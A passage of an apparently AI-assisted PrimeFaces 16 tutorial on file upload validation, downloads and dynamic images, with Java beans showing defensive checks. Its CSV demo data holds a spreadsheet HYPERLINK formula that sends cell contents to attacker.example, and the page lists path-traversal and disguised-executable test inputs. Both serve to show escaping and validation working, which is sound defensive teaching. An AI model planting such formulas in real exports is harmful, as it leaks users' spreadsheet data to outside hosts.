PrimeFaces: Files, Media, Charts and Drag and Drop
|
This content was generated with the assistance of AI and should be verified against the official documentation before being relied on in production. The reference material consulted while preparing these pages is listed in the section bibliography. |
This page is written against PrimeFaces 16.0.0 (released 2026-09-04) on Jakarta Faces 4.1 (API jakarta.faces-api 4.1.2, part of Jakarta
EE 11), with Eclipse Mojarra 4.1.17 and Apache MyFaces Core 4.1.4, Jakarta Servlet 6.1 and Java 17 or later (the examples were
compiled with --release 21). PrimeFaces 16 requires Faces 4.0 or later, so everything below also applies to Faces 4.0. The code
in this page was deployed as an exploded Bookshelf WAR on Tomcat 11.0.26 with Weld 6.0.4.Final, once with each Faces
implementation, and driven with curl and with headless Chrome (clicks, file choosers, a fake camera, drags), so the messages,
headers and results shown are what came back (checked on 2026-10-08). What was not run is said so in the text.
PrimeFaces 16 is the component library; the previous pages of this section describe the standard Faces features it builds on. Installing PrimeFaces, its context parameters and its themes belong to the PrimeFaces getting started page of this section, Ajax and forms to the PrimeFaces Ajax page, tables and trees to the PrimeFaces data components page, and panels, menus and dialogs to the PrimeFaces panels page. This page covers the components that move bytes and pictures between the browser and the server:
-
Files:
p:fileUploadwithp:validateFile,p:fileDownloadand the dynamic content machinery behind it, andp:graphicImageto show what was stored. -
Pictures from the user:
p:imageCropperandp:photoCam. -
Charts and maps:
p:chart(Chart.js) andp:gmap(Google Maps). -
Drag and drop:
p:draggableandp:droppable.
Every one of them takes data that the browser controls (file bytes and names, coordinates, a drop target), so each section ends with what to check on the server. The security posture of the standard upload page applies unchanged and is not repeated in full: see File Upload and Download for size limits, signature checks, generated file names and storage outside the web root.
The Bookshelf Additions
The examples extend the Bookshelf of the earlier pages (packages org.example.bookshelf.{model,service,web}, the Book
record, the CoverStore, CsvEscaper, CoverUploadBean and CoverFileValidator of the file upload page). The CoverStore
gains one method, list(), that returns the stored ids, newest first. The new classes of this page are:
| Class or view | Role |
|---|---|
|
Recognises PNG and JPEG by their first bytes; returns the extension to store. |
|
Receives covers from |
|
List the stored ids, and serve one stored cover as a |
|
The catalogue as a CSV file and the newest cover, for |
|
Crops a stored cover with |
|
Stores a photo taken with |
|
The chart models of the statistics view; view scoped. |
|
The library branches on a map; view scoped. |
|
"My shelf": books dragged from the catalogue; view scoped. |
Setup Shared by These Components
PrimeFaces itself needs only its jar. Four things around it matter for this page.
Multipart limits
p:fileUpload rides on the Servlet multipart API, exactly like h:inputFile. The FacesServlet therefore needs the
multipart-config of the standard upload page (see Multipart Limits). The
web.xml used for this page declares 2 MiB per file and 4 MiB per request, and switches on PrimeFaces' client-side validation:
<context-param>
<param-name>primefaces.CLIENT_SIDE_VALIDATION</param-name>
<param-value>true</param-value>
</context-param>
<servlet>
<servlet-name>facesServlet</servlet-name>
<servlet-class>jakarta.faces.webapp.FacesServlet</servlet-class>
<load-on-startup>1</load-on-startup>
<multipart-config>
<max-file-size>2097152</max-file-size>
<max-request-size>4194304</max-request-size>
<file-size-threshold>262144</file-size-threshold>
</multipart-config>
</servlet>
primefaces.CLIENT_SIDE_VALIDATION (default false) is the global switch of PrimeFaces' client-side validation (CSV). The
file validator uses it to check size, type and count in the browser before anything is sent; without it the same checks run only on
the server (see Validating Uploads: p:validateFile). The PrimeFaces documentation for Tomcat also names two connector attributes, maxPartCount
and maxPartHeaderSize, that Tomcat added in 9.0.106, 10.1.42 and 11.0.8; they limit the number of parts and the size of the part
headers of one request. They were not exercised here.
Source: Apache Tomcat 11: HTTP connector
Optional libraries
The PrimeFaces jar has no runtime dependencies of its own (its Maven dependencies are either shaded into the jar or
provided/optional), but three features need a library that your application brings. Tomcat does not provide the XML
Binding API; whether a full application server does depends on the server and its profile, so check yours (only Tomcat was run).
<!-- p:validateFile contentType="true": detects the type from the bytes, not from the name -->
<dependency>
<groupId>org.overviewproject</groupId>
<artifactId>mime-types</artifactId>
<version>2.0.0</version>
</dependency>
<!-- p:photoCam decodes the photo with jakarta.xml.bind.DatatypeConverter; absent on Tomcat -->
<dependency>
<groupId>jakarta.xml.bind</groupId>
<artifactId>jakarta.xml.bind-api</artifactId>
<version>4.0.2</version>
</dependency>
<!-- p:chart: Java model that serialises to the Chart.js JSON; optional, raw JSON works without it -->
<dependency>
<groupId>software.xdev</groupId>
<artifactId>chartjs-java-model</artifactId>
<version>3.1.0</version>
</dependency>
Source: PrimeFaces 16: FileUpload, "More secure file upload", PrimeFaces 16: PhotoCam and PrimeFaces 16: Charts
The versions are the latest on Maven Central on 2026-10-08 (mime-types 2.0.0, jakarta.xml.bind-api 4.0.2 as in the
PrimeFaces 16 pom.xml, chartjs-java-model 3.1.0). Without the XML Binding API the first photo of the PhotoCam example
below failed on Tomcat with java.lang.NoClassDefFoundError: jakarta/xml/bind/DatatypeConverter in the Ajax response and
worked as soon as jakarta.xml.bind-api 4.0.2 was added. chartjs-java-model 3.1.0 brought Jackson 3.2.3 along when
Maven resolved it.
Dynamic content and the session
p:fileDownload, p:graphicImage and p:imageCropper produce content in a second request that the browser makes after
the page (see How the Ajax download and the images are fetched). The expression behind that request is remembered in the HTTP session, so cookies must work, and
the bean the expression reaches is created anew for that request. primefaces.DYNAMIC_CONTENT_LIMIT (default 200) caps how many
such expressions one session keeps.
Source: PrimeFaces 16: Configuration
File Upload: p:fileUpload
p:fileUpload is PrimeFaces' answer to the question that the standard h:inputFile leaves open: how to show progress,
accept several files, drag files onto the page and validate before sending. It has two modes (the VDL says simple or
advanced, default advanced):
| Mode | What the browser does | What the server receives |
|---|---|---|
|
A widget with Choose, Upload and Cancel buttons, a file list with previews and progress, drag and drop onto the component, and client-side validation. Each file is sent by an Ajax request of its own (or several, when chunking). |
One request per file; each runs the whole lifecycle. The result is a |
|
A plain |
The file travels with the form submit. The result is an |
The model types are in org.primefaces.model.file. UploadedFile has getFileName(), getWebkitRelativePath(),
getInputStream(), getContent() (the whole file as a byte[]), getContentType(), getSize(), write(String) and
delete(). UploadedFiles has getFiles(), getSize() and write(String). FileUploadEvent has getFile() and
getTotalFilesCount(); FilesUploadEvent has getFiles(). getFileName() and getContentType() are what the browser
declared; treat both as untrusted.
The advanced mode
The Bookshelf editor chooses up to three covers, each at most 2,000,000 bytes, as PNG or JPEG. The view declares the component and, inside it, the validator described in Validating Uploads: p:validateFile:
<h:form id="up">
<p:growl id="msgs" showDetail="true"/>
<p:remoteCommand name="refreshGallery" update=":gal"/>
<p:fileUpload id="cover" widgetVar="coverUpload" listener="#{pfCoverUploadBean.handleUpload}"
multiple="true" accept="image/png,image/jpeg" label="Choose covers" update="msgs"
oncomplete="if (!PF('coverUpload').files.length) refreshGallery();">
<p:validateFile sizeLimit="2000000" allowTypes="/(\.|\/)(png|jpe?g)$/" contentType="true" fileLimit="3"/>
</p:fileUpload>
</h:form>
<h:panelGroup id="gal" layout="block">
<ui:repeat value="#{coverGalleryBean.ids}" var="id">
<p:graphicImage value="#{coverImageBean.cover}" width="60"><f:param name="id" value="#{id}"/></p:graphicImage>
</ui:repeat>
</h:panelGroup>
Source: PrimeFaces 16: FileUpload
The bean is request scoped. The listener is called once for every file:
package org.example.bookshelf.web;
import jakarta.enterprise.context.RequestScoped;
import jakarta.faces.application.FacesMessage;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.BufferedInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.util.Optional;
import org.example.bookshelf.service.CoverStore;
import org.example.bookshelf.service.ImageSignature;
import org.primefaces.event.FileUploadEvent;
import org.primefaces.model.file.UploadedFile;
import org.primefaces.model.file.UploadedFiles;
/** Receives covers from p:fileUpload. Request scoped: advanced mode sends each file in its own request. */
@Named
@RequestScoped
public class PfCoverUploadBean {
@Inject
private CoverStore store;
@Inject
private FacesContext facesContext;
private UploadedFile single;
private UploadedFiles several;
/** Listener of the advanced mode: runs once per file, each time in its own request. */
public void handleUpload(FileUploadEvent event) throws IOException {
report(saveCover(event.getFile()));
}
/** Action of the simple mode with value="#{pfCoverUploadBean.single}". */
public void saveSingle() throws IOException {
if (single == null || single.getSize() == 0) {
facesContext.addMessage(null, new FacesMessage(FacesMessage.SEVERITY_WARN, "Choose a file first", null));
return;
}
report(saveCover(single));
}
/** Action of the simple mode with multiple="true": all files arrive in one request. */
public void saveSeveral() throws IOException {
if (several == null) {
return;
}
for (UploadedFile file : several.getFiles()) {
report(saveCover(file));
}
}
/** The signature decides the stored extension; the submitted file name is never used. */
private Optional<String> saveCover(UploadedFile file) throws IOException {
try (InputStream in = new BufferedInputStream(file.getInputStream())) {
in.mark(16);
byte[] head = in.readNBytes(8);
in.reset();
Optional<String> extension = ImageSignature.extensionOf(head);
if (extension.isEmpty()) {
return Optional.empty();
}
return Optional.of(store.save(in, extension.get()));
}
}
private void report(Optional<String> storedId) {
if (storedId.isPresent()) {
facesContext.addMessage(null, new FacesMessage(FacesMessage.SEVERITY_INFO, "Cover saved", storedId.get()));
} else {
facesContext.addMessage(null,
new FacesMessage(FacesMessage.SEVERITY_ERROR, "Not a PNG or JPEG image", null));
}
}
public UploadedFile getSingle() { return single; }
public void setSingle(UploadedFile single) { this.single = single; }
public UploadedFiles getSeveral() { return several; }
public void setSeveral(UploadedFiles several) { this.several = several; }
}
package org.example.bookshelf.service;
import java.util.Optional;
/** Recognises the two cover formats by their first bytes; the extension and the declared type are never consulted. */
public final class ImageSignature {
private ImageSignature() {
}
/** Returns "png" or "jpg" for a file that starts like one, otherwise empty. */
public static Optional<String> extensionOf(byte[] head) {
if (head.length >= 8 && (head[0] & 0xFF) == 0x89 && head[1] == 'P' && head[2] == 'N' && head[3] == 'G') {
return Optional.of("png");
}
if (head.length >= 3 && (head[0] & 0xFF) == 0xFF && (head[1] & 0xFF) == 0xD8 && (head[2] & 0xFF) == 0xFF) {
return Optional.of("jpg");
}
return Optional.empty();
}
}
What happens, observed with two files chosen and one click on Upload: the browser sent two multipart Ajax requests, each with the
file in a part named like the component’s client id (up:cover) and a field up:cover_totalFilesCount; the server handled
them on two different Tomcat threads and called handleUpload twice (getTotalFilesCount() was 2 both times). Each request
ran the complete lifecycle of the standard lifecycle page (see the six phases):
Three consequences follow from "one request, one lifecycle, one file":
-
Request scope. Files are sent in parallel and processed on separate threads. A view scoped or session scoped bean would be touched by several requests at once; the PrimeFaces documentation requires a request scoped bean for
multiple="true"and special care for thread safety. The listener above keeps no state. -
update,processandoncompleterun per file. With two files the message area was updated twice (each response replaced the previous one, so only the last file’s message stayed visible) andoncompleteis called per file too, as the documentation says. To do something once after all files, the page usesp:remoteCommand, called fromoncompletewhen the widget’sfilesarray is empty. In the scratch run the gallery refreshed exactly once for two files. -
getTotalFilesCount()tells a listener how many files belong to the batch, but the requests are independent: nothing guarantees that file 2 is processed after file 1.
The listener is the usual place for the last line of defence. PfCoverUploadBean does not trust the validator alone: it
reads the first bytes, picks the extension from them and ignores the submitted name when it stores the file with the
CoverStore. That matches the checks of the standard upload page.
The simple mode
In the simple mode the component is part of an ordinary form and the file travels with the submit:
<h:form id="one" enctype="multipart/form-data">
<p:messages id="m1"/>
<p:fileUpload id="f" mode="simple" skinSimple="true" value="#{pfCoverUploadBean.single}"
accept="image/png,image/jpeg">
<p:validateFile sizeLimit="2000000" allowTypes="/(\.|\/)(png|jpe?g)$/" contentType="true"/>
</p:fileUpload>
<p:commandButton id="go" value="Save" action="#{pfCoverUploadBean.saveSingle}" ajax="false"/>
</h:form>
<h:form id="many" enctype="multipart/form-data">
<p:messages id="m3"/>
<p:fileUpload id="f" mode="simple" multiple="true" value="#{pfCoverUploadBean.several}"/>
<p:commandButton id="go" value="Save" action="#{pfCoverUploadBean.saveSeveral}" ajax="false"/>
</h:form>
Observed on both implementations:
-
enctype="multipart/form-data"is required on the form. With the default encoding the browser sends the file name only, the component never receives a file and the bean saw none ("Choose a file first" in the example).p:fileUploaddoes not change the form’s encoding for you in the simple mode. -
multiple="true"binds anUploadedFilesand all files arrive in one request, so a request scoped or view scoped bean both work. In the advanced mode the same attribute produces one listener call per file. -
ajax="false"is what the PrimeFaces documentation shows for the submit button. An Ajaxp:commandButton(the default) also delivered the file in the scratch run on Mojarra 4.1.17 and on MyFaces 4.1.4; useajax="false"when a full page redirect or a download follows, because that is the documented form. -
A file larger than the container limit never reaches Faces. Tomcat answered the 2.4 MB upload with its own
HTTP 413page ("The field one:f_input exceeds its maximum permitted size of 2097152 bytes"); there is noFacesMessage, as on the standard upload page. Client-side validation (below) avoids that for honest users; the hard limit is for everyone else. -
Server-side validation runs in Process Validations, so a rejected file keeps the bean’s action from running and the message appears in
p:messages.
auto="true" in the simple mode submits through Ajax as soon as a file is chosen. In 14.0.0 the simple mode stopped showing the
file name when auto is true; set displayFilename="true" to show it.
h:inputFile with p:validateFile
p:validateFile also attaches to the standard h:inputFile of the file upload page. That gives a plain, library-free
upload field the same size, name and content-type checks:
<h:form id="std" enctype="multipart/form-data">
<p:messages id="m5"/>
<h:inputFile id="f" value="#{coverUploadBean.cover}" accept="image/png,image/jpeg">
<p:validateFile sizeLimit="2000000" allowTypes="/(\.|\/)(png|jpe?g)$/" contentType="true"/>
</h:inputFile>
<p:commandButton id="go" value="Save" action="#{coverUploadBean.save}" ajax="false"/>
</h:form>
Source: PrimeFaces 16: validateFile
In the run, a real PNG was saved ("Saved 639 bytes as …") and a file whose bytes were HTML but whose name ended in .png was
refused with "Invalid file type." (with the mime-types library of Optional libraries on the classpath).
Validating Uploads: p:validateFile
p:validateFile (validator id primefaces.File, class org.primefaces.validate.FileValidator) is the single place for
file rules in PrimeFaces 16. It runs on the server in every case and, when client-side validation is on, also in the browser, using
the same attributes:
| Attribute | Type | Meaning |
|---|---|---|
|
Long |
Largest single file in bytes. For |
|
Integer |
Largest number of files. |
|
String |
A JavaScript-style regular expression such as |
|
Boolean |
Detect the type from the file’s content and compare it with the component’s |
|
String |
A comma-separated list of media types ( |
|
Boolean |
Run the configured virus scanners (see Virus scanning). Default false. |
Reading the validator’s source and trying each case gave the following rules, several of which differ from what the attribute names suggest:
-
allowTypesis matched against the file name or the declared content type. The check passes when the regular expression is found in either. The expression/(\.|\/)(png|jpe?g)$/accepts a slash as its separator, so it matches the declared typeimage/pngas well as a name ending in.png. A request that sent the nameevil.exewith the declared typeimage/pngand PNG bytes passedallowTypes(and was saved, because the bytes really were a PNG).allowTypesis therefore a convenience for the user’s file chooser and a coarse filter, not a security boundary. -
contentType="true"needs something to compare with. It compares the detected type with the component’sacceptattribute, or withallowMediaTypeswhen that is given. Without either, the content check is skipped and passes. In the advanced example above,accept="image/png,image/jpeg"supplies the list. -
The detector decides how good the check is. PrimeFaces asks the installed
java.nio.file.spi.FileTypeDetector. It first hides the file name (the temporary file has none) so that the detector must look at the bytes, and only if that returns nothing does it retry with the original extension. With no detector library, the JDK default on the scratch machine (macOS) accepted an HTML file namedfake.pngasimage/png: it fell back to the extension. Withmime-types2.0.0 on the classpath (it registers aFileTypeDetectorservice) the same file was rejected with "Invalid file type.", and a file namedevil.exethat started with the bytesMZ(a Windows executable header) and claimedimage/pngwas rejected too. Thetika-core3.2.3 jar contains noMETA-INF/services/java.nio.file.spi.FileTypeDetectorentry, and adding it alone changed nothing; if you prefer Apache Tika, register a detector class yourself as the PrimeFaces documentation describes. The result of the JDK default detector depends on the operating system, so test on the system you deploy to. For content-based detection with Tika itself, see Media Types & Detection. -
sizeLimitis a server-side rule too. A file above the container’s limit never reaches the validator: with client-side validation off, a 2.4 MB upload in the advanced mode simply failed (the response was Tomcat’s413, no message in the page). The validator’s own limit applies to what the container let through, and it is the only limit that applies to a chunked upload (see Chunked uploads). -
Messages are internationalised. The texts come from the PrimeFaces locale file, under the keys
primefaces.FileValidator.FILE_LIMIT,ALLOW_TYPESandSIZE_LIMIT(each with a_detailvariant). Observed English texts: "Invalid file type." with the detail "Invalid file type: 'notes.txt'. Allowed types: '.png, .jpe?g'.", "Invalid file size." with "File 'big.png' must not be larger than 1.9 MB." (for 2,000,000 bytes) and "Maximum number of files exceeded." with "Maximum number: 3.". The attributesinvalidSizeMessage,invalidFileMessageandfileLimitMessageof the old component were removed in 15.0.0.
Source: PrimeFaces 16.0.0 source: FileUploadUtils and PrimeFaces migration guide 14.0.0 to 15.0.0, "FileUpload"
Client-side validation
With primefaces.CLIENT_SIDE_VALIDATION set to true the browser checks the chosen files before sending them: with a 2.4 MB
file, a .txt file and four files for a limit of three, no request was sent and the messages appeared at once ("File 'big.png' must
not be larger than 1.9 MB.", "Invalid file type.", "Maximum number of files exceeded."). In the advanced mode the messages go to
p:growl or p:messages; in the simple mode the PrimeFaces documentation attaches the check to a command button with validateClient="true" (documented, not run). The
callback onvalidationfailure of p:fileUpload also needs client-side validation to be enabled. The browser can be bypassed
by anyone: removing the data-p-sizelimit, data-p-allowtypes and data-p-val attributes that PrimeFaces renders on the file input
disabled the client checks, and the server-side validator still rejected the
file, as it should.
File names
FileUpload.validateValue checks every submitted file name once the validators have passed (FileUploadUtils.requireValidFilename).
On a non-Windows operating system it refuses names that contain a path separator, a colon or other characters that are invalid in a
Linux path, and names containing URL-encoded characters such as %20. The refusal is a normal validation error:
| Submitted name | Outcome |
|---|---|
|
"File Error: Invalid Linux filename: ../escaped.png" (validation fails, the listener does not run) |
|
"File Error: Invalid Linux filename: sub/x.png" |
|
"File Error: Invalid filename: a%20b.png contains invalid character: %20" |
|
Accepted; with |
That is a real protection against path traversal, and it is the reason UploadedFile.write(String) is not directly
exploitable. It is still a bad habit: write(directory) stores the file under the name the client chose, so two users
uploading cover.png collide, an attacker chooses the extension, and the rules differ on Windows. Use getInputStream() and
write the stream under a name you generate, as PfCoverUploadBean does through the CoverStore.
Virus scanning
p:validateFile virusScan="true" runs every registered org.primefaces.virusscan.VirusScanner on each file; all
available scanners must pass. PrimeFaces ships two, each configured by context parameters, and a service-provider interface for your own:
| Scanner | Configuration (context parameters) |
|---|---|
VirusTotal hash lookup |
|
ClamAV daemon |
|
Your own scanner |
Implement |
The names above were confirmed in the 16.0.0 jar (ClamDaemonScanner and VirusTotalReportScanner read exactly these
parameters, and both are listed in the jar’s service file). No scanner was run: there was no clamd or VirusTotal key
here. In the validator a VirusException is turned into a validation message that carries the exception text, so do not put
internal details into it. A virus scan is an additional layer; it does not replace the checks above.
Chunked uploads
maxChunkSize (bytes, advanced mode only, default 0 meaning no chunking) cuts each file into pieces that are sent one by one,
which keeps every request under a proxy’s body limit and allows retries (maxRetries, default 30, and retryTimeout, default
1000 ms; sequential="true" uploads files one after another instead of in parallel). The server merges the pieces and then calls
the listener once with the whole file.
<p:fileUpload id="cover" listener="#{pfCoverUploadBean.handleUpload}" maxChunkSize="400000" update="msgs"
accept="image/png,image/jpeg">
<p:validateFile sizeLimit="2000000" allowTypes="/(\.|\/)(png|jpe?g)$/" contentType="true"/>
</p:fileUpload>
A 1,470,878-byte PNG became four requests and one handleUpload call that saw the full 1,470,878 bytes. The security
consequence matters: the container’s max-file-size applies to each request, so it does not bound the merged file. A 2.4 MB
file sent in seven chunks with the client checks bypassed was not stopped by Tomcat’s 2 MiB limit; it was rejected after
merging by p:validateFile sizeLimit ("Invalid file size."). Always set sizeLimit when you enable chunking. Resuming an
interrupted upload needs org.primefaces.webapp.FileUploadChunksServlet registered at a URL of your choice, as the
documentation describes; that class is in the jar, and the resume flow itself was not run. Chunks are kept in the container’s temporary
directory (or the location of multipart-config) until the merge or an abort, and a cron job that removes stale ones is
advisable. PrimeFaces 16’s web-fragment.xml registers an UploadedFileCleanerListener for the cleanup of the request’s files.
The user interface
The remaining attributes shape the widget. They are documented in the VDL; the table lists those that change behaviour:
| Attribute | Effect |
|---|---|
|
Start uploading as soon as files are chosen (advanced) or submit through Ajax on choose (simple). |
|
Whether files can be dropped onto the component (default true). |
|
Texts, PrimeIcons and style classes of the three buttons. |
|
The text shown for each file, and the thumbnail width in pixels (default 80). |
|
Client-side callbacks. |
|
Simple mode: a themed button instead of the browser’s, and whether the chosen name is shown. |
The component also supports the facets empty (shown while the list is empty) and header, and its widget has
show() and clear() methods. Client-side callbacks and facets are for convenience; they are not security.
File Download: p:fileDownload
The standard way to send a file from an action is the ExternalContext recipe of the file upload page (see
Streaming a Download with ExternalContext). p:fileDownload wraps it: it is a behaviour you put
inside a command component, and its value is an org.primefaces.model.StreamedContent. The interface has getName(),
getContentType(), getContentEncoding(), getContentLength(), getStream() (a Supplier<InputStream>) and getWriter()
(a Consumer<OutputStream>); the implementation to use is DefaultStreamedContent, built with its builder.
The Bookshelf exports the catalogue as CSV and offers the newest cover for download. The bean builds the content lazily: the stream or writer is only called when the bytes are needed.
package org.example.bookshelf.web;
import jakarta.enterprise.context.RequestScoped;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.IOException;
import java.io.OutputStream;
import java.io.OutputStreamWriter;
import java.io.UncheckedIOException;
import java.io.Writer;
import java.nio.charset.StandardCharsets;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.List;
import org.example.bookshelf.model.Book;
import org.example.bookshelf.service.CoverStore;
import org.example.bookshelf.service.CsvEscaper;
import org.primefaces.model.DefaultStreamedContent;
import org.primefaces.model.StreamedContent;
/** Downloads for p:fileDownload. Request scoped: the content is produced by a later request. */
@Named
@RequestScoped
public class PfDownloadBean {
@Inject
private CoverStore store;
/** Streams the catalogue as CSV; every text cell goes through the escaper of the file upload page. */
public StreamedContent getCatalogueCsv() {
List<Book> books = List.of(
new Book(1, "Dune", "Frank Herbert", 1965),
new Book(2, "=HYPERLINK(\"https://attacker.example/?\"&A1)", "Mallory", 2024),
new Book(3, "Solaris, revised", "Stanislaw Lem", 1961));
return DefaultStreamedContent.builder()
.name("books.csv")
.contentType("text/csv")
.contentEncoding("UTF-8")
.writer(out -> writeCsv(out, books))
.build();
}
private static void writeCsv(OutputStream out, List<Book> books) {
try (Writer w = new OutputStreamWriter(out, StandardCharsets.UTF_8)) {
w.write("id,title,author,year\r\n");
for (Book b : books) {
w.write(String.join(",", CsvEscaper.number(b.id()), CsvEscaper.text(b.title()),
CsvEscaper.text(b.author()), CsvEscaper.number(b.year())));
w.write("\r\n");
}
} catch (IOException e) {
throw new UncheckedIOException(e);
}
}
/** The cover of the newest stored upload, served under a fixed download name. */
public StreamedContent getNewestCover() throws IOException {
List<String> ids = store.list();
Path file = ids.isEmpty() ? null : store.find(ids.get(0)).orElse(null);
if (file == null) {
return DefaultStreamedContent.DUMMY;
}
return DefaultStreamedContent.builder()
.name("cover" + file.getFileName().toString().substring(32))
.contentType(file.getFileName().toString().endsWith(".png") ? "image/png" : "image/jpeg")
.contentLength(Files.size(file))
.stream(() -> {
try {
return Files.newInputStream(file);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
})
.build();
}
}
Source: PrimeFaces 16: FileDownload
The CSV cells go through the CsvEscaper of the file upload page, which prefixes a cell that starts with =, @, - or + so a
spreadsheet does not run it as a formula. The demo list includes a hostile title for exactly that reason. The PrimeFaces
exporters of the data components page have their own rules, which that page covers.
<h:form id="dl">
<p:commandButton id="csvAjax" value="CSV (Ajax)" icon="pi pi-download">
<p:fileDownload value="#{pfDownloadBean.catalogueCsv}"/>
</p:commandButton>
<p:commandButton id="csvPlain" value="CSV (plain)" ajax="false">
<p:fileDownload value="#{pfDownloadBean.catalogueCsv}"/>
</p:commandButton>
<p:commandButton id="csvInline" value="CSV inline" ajax="false">
<p:fileDownload value="#{pfDownloadBean.catalogueCsv}" contentDisposition="inline"/>
</p:commandButton>
<p:commandLink id="coverLink" value="Newest cover" ajax="false">
<p:fileDownload value="#{pfDownloadBean.newestCover}"/>
</p:commandLink>
<h:commandButton id="stdBtn" value="h:commandButton works too">
<p:fileDownload value="#{pfDownloadBean.catalogueCsv}"/>
</h:commandButton>
</h:form>
Source: PrimeFaces 16: FileDownload
The p:fileDownload attributes are value, contentDisposition (attachment, the default, or inline; it applies to
the non-Ajax case), store (when false, the default, the response carries no-store) and monitorKey (the cookie name for
PrimeFaces.monitorDownload). The responses observed from the five buttons, identical on Mojarra and MyFaces:
| Button | What came back |
|---|---|
|
An Ajax partial response whose script calls |
|
The CSV in the response of the form POST itself, with |
|
The same bytes with |
|
|
|
|
The CSV body of the plain download was:
id,title,author,year
1,"Dune","Frank Herbert",1965
2,"'=HYPERLINK(""https://attacker.example/?""&A1)","Mallory",2024
3,"Solaris, revised","Stanislaw Lem",1961
Source: OWASP: File Upload Cheat Sheet and OWASP: CSV Injection
Notes on use:
-
Ajax or not. Since PrimeFaces 10 the Ajax button needs no
ajax="false"for downloads; before that it did. Both forms work in 16. Use the plain form when you want the browser to see a normal response and theinlineoption. -
Choose the file name yourself.
DefaultStreamedContent.name(...)ends up inside aContent-Dispositionheader. Use a fixed or generated name, never the name a user chose, and do not put a user’s text into it. The example builds it from the fixed textcoverand the stored extension. -
Set
contentTypefrom what you know, not from the file name, andcontentLengthwhen you can (the cover example does). -
Monitoring.
PrimeFaces.monitorDownload(start, end)in anonclickshows a busy indicator while a non-Ajax download is prepared; it needs cookies and is described in the documentation (not run here). -
Other formats. A PDF or a spreadsheet is built the same way: a
writerorstreamthat produces the bytes and the matchingcontentType(application/pdf, …).p:dataExporterbuilds such files from a table; it belongs to the data components page of this section. -
Authorise inside the bean. The streamed content is produced by code you wrote, so check that the current user may see the data there, exactly as for any download.
How the Ajax download and the images are fetched
An Ajax p:fileDownload, a streaming p:graphicImage and a p:imageCropper all use the same mechanism, called dynamic
content streaming. Reading the 16.0.0 source and watching the requests gave this picture:
-
The page request writes an URL to the resource
dynamiccontent.properties.xhtmlwith the libraryprimefacesand the parameterspfdrid(the MD5 of the expression text),pfdrt=sc(streamed content),pfdrid_c(cache) and anyf:paramchildren of the component as plain request parameters. -
The session keeps
key -> expression texton the server (not the content): at mostprimefaces.DYNAMIC_CONTENT_LIMITentries, 200 by default, oldest dropped first. When the second request arrives, PrimeFaces looks the key up in the session of that request and evaluates the expression in a newFacesContext. -
The URL is not a credential. Requesting a valid URL without the session cookie returned
200with a zero-byte body (the key is unknown to that session), and a tamperedpfdriddid the same. The protection is the session, and the content is whatever your expression returns for the request.
Source: PrimeFaces 16.0.0 source: StreamedContentHandler, DynamicContentSrcBuilder and PrimeFaces 16: Dynamic content
This explains the rules that surprise people:
-
The bean is created again. The expression runs in the second request, so use
@RequestScoped(or@ApplicationScopedfor shared content). A@ViewScopedbean is not available there: PrimeFaces' error message for a failed stream is "Verify you are not using a @ViewScoped bean". The rendering mode ofp:graphicImage(below) is the exception. -
The expression cannot take arguments.
#{coverGalleryBean.image(id)}fails in streaming mode with a "Property [image] not found" error; the expression must be a property such as#{coverImageBean.cover}. Arguments travel asf:paramchildren, which become request parameters of the second request. -
Everything the bean reads from the request is client data. The
idparameter in the next section is validated by theCoverStore(it accepts only an id the application generated). A parameter that was a file path would be a path traversal.
Showing the Result: p:graphicImage
p:graphicImage extends h:graphicImage with dynamic content. Its value may be a StreamedContent, a byte[], an
InputStream or a plain resource path; name and library still work for static resources. The attributes that matter
here are stream (default true) and cache (default false).
package org.example.bookshelf.web;
import jakarta.enterprise.context.RequestScoped;
import jakarta.faces.context.FacesContext;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.IOException;
import java.io.UncheckedIOException;
import java.nio.file.Files;
import java.nio.file.Path;
import org.example.bookshelf.service.CoverStore;
import org.primefaces.model.DefaultStreamedContent;
import org.primefaces.model.StreamedContent;
/** Serves one stored cover; the id arrives as the request parameter that f:param adds to the image URL. */
@Named
@RequestScoped
public class CoverImageBean {
@Inject
private CoverStore store;
@Inject
private FacesContext facesContext;
public StreamedContent getCover() {
String id = facesContext.getExternalContext().getRequestParameterMap().get("id");
Path file = store.find(id).orElse(null); // only ids this application generated resolve
if (file == null) {
return DefaultStreamedContent.DUMMY;
}
return DefaultStreamedContent.builder()
.name(id)
.contentType(id.endsWith(".png") ? "image/png" : "image/jpeg")
.stream(() -> {
try {
return Files.newInputStream(file);
} catch (IOException e) {
throw new UncheckedIOException(e);
}
})
.build();
}
}
Source: PrimeFaces 16: GraphicImage
<!-- streaming: a property expression, the id travels as a request parameter -->
<ui:repeat value="#{coverGalleryBean.ids}" var="id">
<p:graphicImage value="#{coverImageBean.cover}" width="60" cache="false"><f:param name="id" value="#{id}"/></p:graphicImage>
</ui:repeat>
<!-- rendering: a data URI in the page, a method with an argument is allowed -->
<ui:repeat value="#{coverGalleryBean.ids}" var="id">
<p:graphicImage value="#{coverGalleryBean.image(id)}" width="60" stream="false"/>
</ui:repeat>
Source: PrimeFaces 16: Dynamic content
package org.example.bookshelf.web;
import jakarta.enterprise.context.RequestScoped;
import jakarta.inject.Inject;
import jakarta.inject.Named;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.util.List;
import org.example.bookshelf.service.CoverStore;
import org.primefaces.model.DefaultStreamedContent;
import org.primefaces.model.StreamedContent;
@Named
@RequestScoped
public class CoverGalleryBean {
@Inject
private CoverStore store;
public List<String> getIds() throws IOException {
return store.list();
}
/** One image per id; the stored id can only be one this application generated. */
public StreamedContent image(String id) {
Path file = store.find(id).orElse(null);
if (file == null) {
return DefaultStreamedContent.DUMMY;
}
return DefaultStreamedContent.builder()
.name(id)
.contentType(id.endsWith(".png") ? "image/png" : "image/jpeg")
.stream(() -> {
try {
return Files.newInputStream(file);
} catch (IOException e) {
throw new java.io.UncheckedIOException(e);
}
})
.build();
}
}
With the covers stored by the earlier runs, the streaming variant rendered <img src=".../dynamiccontent.properties.xhtml?...&id=<stored id>.png&...", the
browser fetched the images (image/png, no-store) and all showed (naturalWidth 300 or 120). The rendering variant
embedded every image as a Base64 data URI in the HTML.
-
Streaming (default) is cheap for the page and cacheable (
cache="true"adds a one-yearmax-age), needs a request scoped bean and a property expression, and does one extra request per image. -
Rendering (
